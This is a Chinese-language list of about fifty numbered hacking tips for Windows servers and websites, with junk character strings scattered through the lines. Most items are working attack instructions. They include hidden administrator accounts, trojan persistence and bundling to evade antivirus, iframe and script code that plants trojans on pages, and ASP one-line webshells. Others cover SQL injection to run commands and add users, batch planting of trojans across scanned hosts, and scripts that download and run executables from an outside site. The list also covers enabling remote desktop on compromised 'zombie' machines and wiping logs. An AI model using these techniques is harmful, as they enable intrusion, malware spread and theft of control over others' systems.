1、Xp系统修改权限防止病毒或木马等破坏系统,cmd下,
8 O; z6 Q' S! }% H7 Acacls C:\windows\system32 /G hqw20:R8 ~# E: C0 \) }& B9 B$ Q: c- x
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
7 L2 d! \" N% A- g1 t恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
3 U, J2 s" Z6 [, v1 i+ r9 k3 ^( }6 Q4 ~/ H5 J
2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。7 i: K. t6 `. q6 g
7 f& ~3 E1 b- `: [
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
( Y6 Y4 R2 ~' `1 a/ c, ]! [: }/ F' v( o
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号- j3 b' n1 V6 D) u9 j; a
0 v: {# ^- ^. {5、利用INF文件来修改注册表. m8 a& f% l1 _; D
[Version]
( u0 C! t$ r5 b" i2 x2 {Signature="$CHICAGO$"
. H5 C" f R( X* c0 O# G/ d+ w4 d8 K[Defaultinstall]
" c$ t4 N& r9 i4 T* P& b- UaddREG=Ating
/ p5 [( _$ E$ a; V1 T- k+ |[Ating]9 c3 @$ D& \* {; [! ^
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
7 ?6 V4 a) J7 k \! M+ @以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:- a& k5 N! [% u8 O
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径/ g: D2 K* [% I0 y
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU! \" e! T: H2 U7 v
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU
: r! ^( R! f- p; |1 S$ b! o* M4 YHKEY_CURRENT_CONFIG 简写为 HKCC; z! C# P) I( H/ f( Q/ m7 P+ m
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值& p' S! c% C; _' s+ ]
"1"这里代表是写入或删除注册表键值中的具体数据
4 o! v/ x9 O/ ?7 c
" \! _3 |3 Y& M0 z/ [ i6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,& R, n3 `; h4 \1 h
多了一步就是在防火墙里添加个端口,然后导出其键值
4 r$ M" G0 T0 X/ p[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
( W, n4 J$ q6 D* u9 m! J
2 K+ s4 @5 r8 [7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
9 \0 k3 I9 ]9 p6 D! D1 ?在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。% t! \* g" v8 X- u) l
! b3 \7 X! q# Q2 h8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。, t# w \5 g; C0 U* y9 W+ ?8 N
* R. ^0 V# Z% p
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
^# m5 T% e: e1 j可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
0 a9 |+ R. O, ^+ i$ x2 u( u1 h2 A2 y& j
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”% l9 b" l' u1 Y3 R! w
' ^) ~) @9 V1 Z o11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
) g8 B. C& ]) N, a. o用法:xsniff –pass –hide –log pass.txt
z) W `+ o* j* V& R7 b$ Z# y/ J, A( T0 y2 ^; W3 c
12、google搜索的艺术
" O8 }8 g+ _- T$ Z搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”* _9 k$ }% b$ Y6 }" ~
或“字符串的语法错误”可以找到很多sql注入漏洞。
3 Z! u5 `$ w7 F3 w$ h- E! k8 a+ g; `$ k, e& X) l
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
5 S. F: ^' c7 n. L. r+ r- t5 H
* F8 U8 z# {# i0 a7 g4 z* P" S( F14、cmd中输入 nc –vv –l –p 1987
6 c O5 X. M6 r! X做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃" k7 a: U' C# T8 j. q
. k' o' ~) ?7 y6 z; }+ h/ P
15、制作T++木马,先写个ating.hta文件,内容为
2 Z* D4 b* K" I<script language="VBScript">
$ E/ y) i# E Zset wshshell=createobject ("wscript.shell" )
; E1 l: E. I. n4 P- A# Ia=wshshell.run("你马的名称",1)' r' e2 M4 T4 N: P+ d* Z
window.close
: x6 J/ Z2 b% K/ I( }, l</script>
8 G3 X4 B3 C! w) ^5 i再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。# I# f$ V9 E4 V( Z1 \' u- `
4 t: f+ @' m' ?- [! s* f: ~0 m, Y) g16、搜索栏里输入
; S4 C! ^9 G8 I+ s+ U关键字%'and 1=1 and '%'='
' k! |, g5 h7 ^+ G% R关键字%'and 1=2 and '%'='
# c* W# u/ e3 n, M# D1 H比较不同处 可以作为注入的特征字符
4 \9 ?3 z' u/ r2 g3 ` \; ~* T$ T, ]( W9 e2 Q: a& x: a
17、挂马代码<html>
( g$ ^$ I* \6 V: Z<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>; F8 |2 ~' j) ]3 W6 F2 D8 z. ]
</html>
- a; z8 h2 Y4 n
' q# j/ U. E9 m! A9 e- N8 ~18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,. W7 Y5 K4 x; d( L5 D4 `. A
net localgroup administrators还是可以看出Guest是管理员来。4 ?8 A2 { a) o" \9 N
. K9 \. l( ~8 H) n- X4 U19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
: \% s! Z$ X6 N8 Y, A! J# ?6 j* V0 @+ L4 _用法: 安装: instsrv.exe 服务名称 路径
- C5 K' D# L9 [8 Q0 W& l卸载: instsrv.exe 服务名称 REMOVE
+ s- T* f+ A) j2 N+ s6 E$ V
/ E/ o9 I8 |& o+ a8 F3 Z9 r. q: M6 l! {* R, h
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉 V, r2 G, G: V# ^6 W
不能注入时要第一时间想到%5c暴库。* i* Q6 z4 T5 E* N- c5 k0 ?
! o* ]5 M0 r& o1 l. }4 ~
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~/ e8 m% u( y s q# `
3 R4 A! C) A& Q. R: j/ T: e
23、缺少xp_cmdshell时
$ ]0 r7 b5 O1 @; e尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
, s# I5 S7 R! n; t- u假如恢复不成功,可以尝试直接加用户(针对开3389的)" h' ^7 c) z- h
declare @o int( n9 g! Z) p& X# g w. ]
exec sp_oacreate 'wscript.shell',@o out* A: F& j, C1 o& R$ n6 ^0 [
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
R- _6 E5 E: `' i2 ]$ _
& J4 g- G* t! H2 W24.批量种植木马.bat. f1 w3 O& L3 M7 }
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中
R7 {1 R+ K8 [/ afor /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
9 K% k/ E, x) N' @扫描地址.txt里每个主机名一行 用\\开头
0 H9 ~# ^: \9 Z- A1 P" p6 D" x( [) u, y% ~* ]2 o
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
) n7 o- m5 v$ R, A* s( |) n6 X L- p5 Y: _
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.$ H, l1 f# M+ G' E. e
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.8 |. y2 t, z2 {$ E
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马9 ? k6 u8 y" w, O! q, E+ q
: u5 V# E3 B" n+ p; v4 w% W+ O) ]27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP/ ?( a/ L6 O- H5 p0 f0 _
然后用#clear logg和#clear line vty *删除日志! J$ o, v9 S* F! m6 V& M
4 g2 u. ^% o7 s: m% O/ P# ?+ a" N: |
28、电脑坏了省去重新安装系统的方法# g& Y, n/ l8 C, e6 r7 N& c, M
纯dos下执行,) ~$ Q5 q5 u. U7 e; D# V* y( N) F
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config: A j2 S {0 @5 I# E+ x
2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config
* N; @: e/ Z4 Y1 F
+ D- t8 r% `- F; ]# B! a: G) I29、解决TCP/IP筛选 在注册表里有三处,分别是:' D0 U |6 Q9 F+ c
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip; Y1 \" G" z* D, h
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
" ?8 z! t) k" L( L' UHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip: L% K1 C% y& T5 h' h
分别用
3 p1 T: e* c6 `7 K9 _+ R7 Kregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
' J5 Z; m5 |5 t8 M# V6 [0 G7 _regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
5 b9 L8 F9 u9 b6 _, v. kregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: b/ i& N" E# R5 p命令来导出注册表项
1 m" I6 {9 x- B. j然后把三个文件里的EnableSecurityFilters"=dword:00000001,+ p! L$ N! _; p. q n0 X
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
& v4 l& s. _3 S0 J' N z) {regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。; f, t- `: V0 T( y
: {5 g+ J3 e, U30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U& p. s( m8 Y. L" x( Y# Q
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
: G4 \% i4 F/ w+ a- o/ b1 a3 m% K5 ?; q7 Z
31、全手工打造开3389工具
8 K2 m) U8 a! X/ i7 q1 S打开记事本,编辑内容如下:
* b) j5 c/ r- n, I1 ~" P" P5 F" vecho [Components] > c:\sql
6 f( c9 ^( T* ~% g( Y6 M e; Jecho TSEnable = on >> c:\sql
( m$ ?5 ?: L5 Asysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q1 g* J; `1 l! G8 S
编辑好后存为BAT文件,上传至肉鸡,执行
h0 t( \' Q; l$ U/ U, k4 v4 Y) i$ k! V' J; m. O `
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马3 H+ W7 c3 j; v/ B3 i
4 k; p* g9 D3 q
33、让服务器重启3 n* d& k* p. [5 ~" _/ t) L4 |
写个bat死循环:
/ a8 L5 F0 ~) G1 |# w& N( `@echo off
0 }3 z5 _% J9 c:loop15 t( ^7 u* N) _ A/ A. c
cls$ C/ i& C; `1 _$ y
start cmd.exe5 u8 o3 n% s, m! Q6 b+ k7 f0 x3 I1 T3 s
goto loop1) T7 {" H6 e" U# _
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启
8 x; N4 F5 K( _- k. z) q" c" W& j# z' Y' b' o* H, @3 i
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,/ F* Z% y7 c+ a! o
@echo off3 ]% W6 O/ u7 n0 [2 }- U2 [
date /t >c:/3389.txt& ^' L/ R# I+ C/ s0 }% |8 m: @) J
time /t >>c:/3389.txt
+ \! z* s/ o8 Fattrib +s +h c:/3389.bat
5 X f0 j/ P/ f" e- l) Fattrib +s +h c:/3389.txt2 t5 ~" \/ |; T1 K
netstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
+ {" n2 c2 J' n& X1 z并保存为3389.bat
4 [3 l t% d0 F7 n6 x, S打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号, A* I- ] J0 m
! H) v o. d! H l$ ?! w35、有时候提不了权限的话,试试这个命令,在命令行里输入:" L) \3 G: U/ G- T; V
start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)% k$ q/ l2 K3 y0 C
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
( Y3 {$ `2 Z1 d
0 W: @# R( F/ M/ Y `( j8 s8 N' G: a36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件
; G# Y! b- ~8 iecho open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
5 t, {; T3 k2 g- z3 s0 e( Becho 你的FTP账号 >>c:\1.bat //输入账号
3 d0 ]: ~% T* n! p' ^+ Iecho 你的FTP密码 >>c:\1.bat //输入密码* b* h4 n4 o: s
echo bin >>c:\1.bat //登入( w- i( `# k! f; f) u
echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么/ Z. G! r# m* t% x
echo bye >>c:\1.bat //退出
8 _- l! g! z- \0 p/ {然后执行ftp -s:c:\1.bat即可
; W0 m& G8 t: C: j1 R, p% v) f9 _2 S" q- z5 u
37、修改注册表开3389两法
0 Q7 @% I7 B7 I4 ]2 ]" U8 @(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
* C+ H( N1 t+ g& aecho Windows Registry Editor Version 5.00 >>3389.reg$ g4 P& C& b: }2 z1 u
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
# r9 [6 M5 c% {5 hecho "Enabled"="0" >>3389.reg
- ^4 T" t/ J( G2 ^! W1 ^/ Zecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows! ^2 y L3 ], Q2 Q3 Q6 H
NT\CurrentVersion\Winlogon] >>3389.reg3 u; O8 ?6 H( y. t# X, c
echo "ShutdownWithoutLogon"="0" >>3389.reg9 f* d, \, D) S2 Q5 z
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
4 `3 j* b2 q: I" S4 @- O- m# c9 m% u2 z>>3389.reg
1 r3 u7 s; r0 P8 G. |echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
1 C3 s2 j5 a- M5 I" Uecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
5 ]$ x; o) l# f, b* n. B; R>>3389.reg
( N9 d: t* F$ y2 h: m' Z) |echo "TSEnabled"=dword:00000001 >>3389.reg
. y' p; M" W4 v6 wecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
2 P. b3 ^: H6 ^. Qecho "Start"=dword:00000002 >>3389.reg
9 N0 @2 h; G' V: V; o9 r( kecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
9 m# y% y& |& h5 N: O8 y>>3389.reg
; D4 M% v7 y) X) H& v/ q2 techo "Start"=dword:00000002 >>3389.reg( o1 X8 ~7 @8 H8 Q( A
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg J( Y& `% \: s4 H' V# t) ?
echo "Hotkey"="1" >>3389.reg
* b& N3 |$ h4 n+ \; a8 \( [echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
( m. r! Y( ?- x, uServer\Wds\rdpwd\Tds\tcp] >>3389.reg
! r8 O6 k3 }5 l) techo "PortNumber"=dword:00000D3D >>3389.reg3 I- d/ _# i( ]& H
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
9 E$ y" ?5 ]% y4 f1 E2 \% H" ]Server\WinStations\RDP-Tcp] >>3389.reg7 D) |( |; L0 {$ R
echo "PortNumber"=dword:00000D3D >>3389.reg
) H* l. O% T7 t* H把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
0 W! h$ B8 x: [4 X1 o(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)) E R% M# y7 @% Q! Q
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
6 j% G7 y# ^' W' T/ k. l0 H(2)winxp和win2003终端开启
2 I+ ], ?' R) f |; @# O) h用以下ECHO代码写一个REG文件: Y+ {% n1 U0 a+ E3 z- J
echo Windows Registry Editor Version 5.00>>3389.reg; e8 Z# l" T1 s
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
% v+ _- ?. y+ ]& F% E& k% X) A0 o$ RServer]>>3389.reg
7 E) }4 l. @8 Z0 t) Y# ~! M, N' lecho "fDenyTSConnections"=dword:00000000>>3389.reg
1 J( u6 C) ^. j3 b/ U/ fecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
6 k$ C0 I$ ^2 \. j, F! l3 qServer\Wds\rdpwd\Tds\tcp]>>3389.reg
% i1 m5 f7 o- X+ Z' f! ~5 E- i/ q9 }: aecho "PortNumber"=dword:00000d3d>>3389.reg
0 G. [8 v! a z2 b8 iecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
4 m% h2 D7 }; |5 x; M$ \' X% dServer\WinStations\RDP-Tcp]>>3389.reg' h9 Z8 V) r' V9 i
echo "PortNumber"=dword:00000d3d>>3389.reg4 k3 u) @& m: K3 f+ O
然后regedit /s 3389.reg del 3389.reg
: R+ z% r5 j6 C1 O& XXP下不论开终端还是改终端端口都不需重启! u8 z% Y* W5 @7 U1 u* @6 w
1 P* \6 v' \) Q5 d6 }, ]; U0 ]
38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃
5 w2 P) H( K- v! J0 e' N用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'' n4 w! d9 ]) L) S
2 h( }! A; O+ d39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!! z& W V$ Z6 Y5 @$ R
(1)数据库文件名应复杂并要有特殊字符
! x+ R- R: F4 j9 ^4 B: j" D(2)不要把数据库名称写在conn.asp里,要用ODBC数据源; C0 @& V( J, p* ]6 Y5 N0 `( U
将conn.asp文档中的
5 x* ]2 g s. ~8 FDBPath = Server.MapPath("数据库.mdb")
' {% ~( d6 |4 u( |: \7 K" zconn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
) z k0 L6 a$ O
7 \. S$ F2 s3 K) i0 |: J/ u: m修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置* A# u6 A+ \8 g" `7 D2 R4 g
(3)不放在WEB目录里* g0 {! I5 l+ d5 P" q3 Z4 a
! L' A3 D7 @- ~2 A
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
* r/ r' s" s" Q7 _& J* C) @; \可以写两个bat文件
4 i; P8 @3 z3 G@echo off
5 H4 \& h2 R- u: q4 f# z0 K/ ~@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
3 A, p {: f; G7 D# c@del c:\winnt\system32\query.exe0 P3 x: b8 p9 v* W: z, a# s: ]* h
@del %SYSTEMROOT%\system32\dllcache\query.exe
, \+ i% B3 }; o8 [5 A( J- x@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的8 P- f8 X" h9 l$ B9 Z) `
8 W+ m! _. _! s( H. t9 p1 n7 v2 ~@echo off
; ]7 v) S7 O& C! s9 d& p- U; ~1 E@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
* Z1 L* m, I! B& Z: O@del c:\winnt\system32\tsadmin.exe t7 k$ J1 n& B; T! K7 l
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex
8 p2 K0 P R% `) l: N3 Q- @" \4 X+ P' H$ e
41、映射对方盘符
; _9 q, n) E3 m% Xtelnet到他的机器上,% G" ^' n# p2 W7 U; O/ F
net share 查看有没有默认共享 如果没有,那么就接着运行, p6 m6 v( w! [5 e3 @
net share c$=c:
% `& L( V' z; [9 fnet share现在有c$
4 b1 P. n+ _0 F8 ]在自己的机器上运行4 L" ^* \6 L) E. S% D
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
6 ^( ^3 @7 d0 {0 @, f8 d4 u( d3 \5 ]3 d* d3 V% Y
42、一些很有用的老知识/ ^6 t: E0 o9 v2 G* ~& J. z5 r
type c:\boot.ini ( 查看系统版本 )
( G8 i. S' B* ^net start (查看已经启动的服务)0 K7 S J p2 s6 |' O
query user ( 查看当前终端连接 )5 O$ X' W; f* X0 U6 w, i/ @
net user ( 查看当前用户 )
1 N; F( r6 l$ a1 A* u1 @net user 用户 密码/add ( 建立账号 )- r. S7 p% K# c* T# `5 C# F
net localgroup administrators 用户 /add (提升某用户为管理员)
6 d* r& |* _& @: B: vipconfig -all ( 查看IP什么的 )
0 H$ E1 P5 T* E s6 W, r7 Lnetstat -an ( 查看当前网络状态 )
* o+ W3 ^4 e4 P, vfindpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)$ K! G% h" H+ x/ R; V( M% z; ]
克隆时Administrator对应1F4
5 {; x% a& D7 Y2 d; X" p* N8 Fguest对应1F5( I G/ F% Q% i, V$ {& N
tsinternetuser对应3E8
5 t1 ~9 q8 [* ~; D, A' m0 y0 x- o0 K( y
43、如果对方没开3389,但是装了Remote Administrator Service0 K* C' O' u8 ]6 r1 d
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接+ @/ a6 ]- ?8 P; Z- o
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息
7 r9 Q, R9 h# ?( B t先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
% d% Z3 Z& f* `. t) v9 G- @
: L$ M! h" w0 v$ y/ N8 z44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)% L/ f2 [1 T9 u7 M
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
, _9 Q/ K7 P2 ]6 n$ U& x! G, P. e
/ S# q& |" N$ x" [5 N/ I% @7 z45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)9 G5 I% ~( F* F U, h8 S3 N: W; h
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
+ `1 R7 I2 [% A2 B8 j^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =% D! m; y, ~5 Z) h: Z3 G
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
' B7 [. H# E6 s% H8 [# m! E1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs1 T* F, F ]5 k/ V, v; e6 U& Y& x
(这是完整的一句话,其中没有换行符)
v# ~& V1 Y0 M$ b, C w2 A& y然后下载:
; u+ I: ^$ d9 e+ [cscript down.vbs http://www.hack520.org/hack.exe hack.exe% ^2 P' V5 Z7 _' w* M$ ?0 T" \( l
8 w) `2 y3 k( p! \46、一句话木马成功依赖于两个条件:- S. g3 i% A! G& m" I, R
1、服务端没有禁止adodb.Stream或FSO组件7 _3 ~$ K$ ], D# e4 u: j
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。8 M/ h" n/ G/ [8 j4 e" B& g* d
( [3 W8 _9 d+ I6 M/ X3 X47、利用DB_OWNER权限进行手工备份一句话木马的代码:( o% u# D; O; F. J+ V% N; R
;alter database utsz set RECOVERY FULL--
! J1 }- z+ N% \- f V;create table cmd (a image)--
& i3 r3 }7 N9 g;backup log utsz to disk = 'D:\cmd' with init--
) C( E/ p% P* s5 z5 K \;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
: a( F- m7 `# b;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--& o5 i+ J+ w S) e$ S! w
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
+ R& H) ^/ e( Z9 M6 H$ d3 F3 s( f/ d3 |2 X& `( o3 ^8 P7 W" O
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:5 z$ }, ?. h5 l2 R! q/ {9 f$ J
$ Q" u& Z# F8 G& t) F$ l c: v- f用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
/ b4 V' P3 v4 u( C5 i7 e$ O5 B所有会话用 'all'。
" H* X' T0 q0 }* @-s sessionid 列出会话的信息。" k5 {0 @& ~ _9 r$ G% }! A
-k sessionid 终止会话。
; P9 ]$ K- w5 A7 ^3 L. \-m sessionid 发送消息到会话。
3 o2 O6 x4 g5 K7 D, ~5 J- z9 I4 R( \9 ~# b7 ?1 a# O
config 配置 telnet 服务器参数。
9 N6 v. l T8 D. L) V( t% { q' U! `) \8 V; e
common_options 为:
% p# f( Y: k4 U- A- n' \-u user 指定要使用其凭据的用户' s1 t1 }2 o& x: p$ W+ F
-p password 用户密码) n( p& d2 k0 U
# _" b1 V9 R9 V: N/ ~ m6 y% tconfig_options 为:& H0 h; s* ?& x0 w
dom = domain 设定用户的默认域3 V2 _# S! l& B0 M0 h, F
ctrlakeymap = yes|no 设定 ALT 键的映射
3 Y) b2 n, L6 ]" R' Mtimeout = hh:mm:ss 设定空闲会话超时值* i2 P7 i! B: ]2 Q9 D3 ~
timeoutactive = yes|no 启用空闲会话。$ F4 d% w) h9 ~7 F- M. _# l$ U& d
maxfail = attempts 设定断开前失败的登录企图数。$ `' Q6 y, |! K, a" {! F
maxconn = connections 设定最大连接数。
8 s' @ S9 K: d2 a2 f7 `& Qport = number 设定 telnet 端口。& G- f8 }/ P) i( _
sec = [+/-]NTLM [+/-]passwd
0 [9 K' `& K9 U* F) X( X* p& `设定身份验证机构8 i& W+ y; L' I. |& R
fname = file 指定审计文件名。. V5 A0 v( ]; B/ y
fsize = size 指定审计文件的最大尺寸(MB)。
: k* r1 T" M( A, [mode = console|stream 指定操作模式。& s2 y% [1 _1 B8 O3 _, R9 O1 R% W
auditlocation = eventlog|file|both7 b7 Z H" j5 k
指定记录地点
! V4 ^4 m, [5 B/ A( f2 F% _0 ]audit = [+/-]user [+/-]fail [+/-]admin
, X* t$ P1 H, Q3 R7 b5 r9 \% L1 d. }4 @) S$ N; D& I! o) Y6 f8 H) K
49、例如:在IE上访问:
6 g1 H9 d( O, p) D9 V; b2 gwww.hack520.org/hack.txt就会跳转到http://www.hack520.org/) u6 G; k! g, c5 t+ `$ T
hack.txt里面的代码是:
# `7 o0 N/ A1 ~" w$ U5 H1 g9 m<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
r: q$ z: a. B' d把这个hack.txt发到你空间就可以了!0 n0 J$ B8 Y) P3 X* c- l6 \
这个可以利用来做网马哦!
6 {- q4 n: p) j- b7 E. h# V3 s) A8 S5 Q' |; i: `3 W* \) M; d
50、autorun的病毒可以通过手动限制!# M) m4 Q8 i$ x8 U0 F7 d2 ?1 O
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
+ b- \* v) @9 V9 c2,打开盘符用右键打开!切忌双击盘符~
3 M1 ]" S) h/ W7 S3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
. v: _9 a1 u* l0 }3 @6 h! F+ t4 S) y8 o: A! T
51、log备份时的一句话木马:
- b0 I6 c' E& D" a/ ba).<%%25Execute(request("go"))%%25>9 K, t! s2 L1 X, A* w9 Q
b).<%Execute(request("go"))%>
' t' i4 f; o% D) Lc).%><%execute request("go")%><%
+ B: l7 @4 y. T0 C- `+ Z7 u2 nd).<script language=VBScript runat=server>execute request("sb")</Script>7 {5 V- J# |3 S9 ?9 U& K
e).<%25Execute(request("l"))%25>
2 a* N6 V9 I. P5 R7 j4 k+ l: Cf).<%if request("cmd")<>"" then execute request("pass")%>
, _/ ^6 M' N9 H$ F7 @
1 n% d$ \2 L* W( W52、at "12:17" /interactive cmd
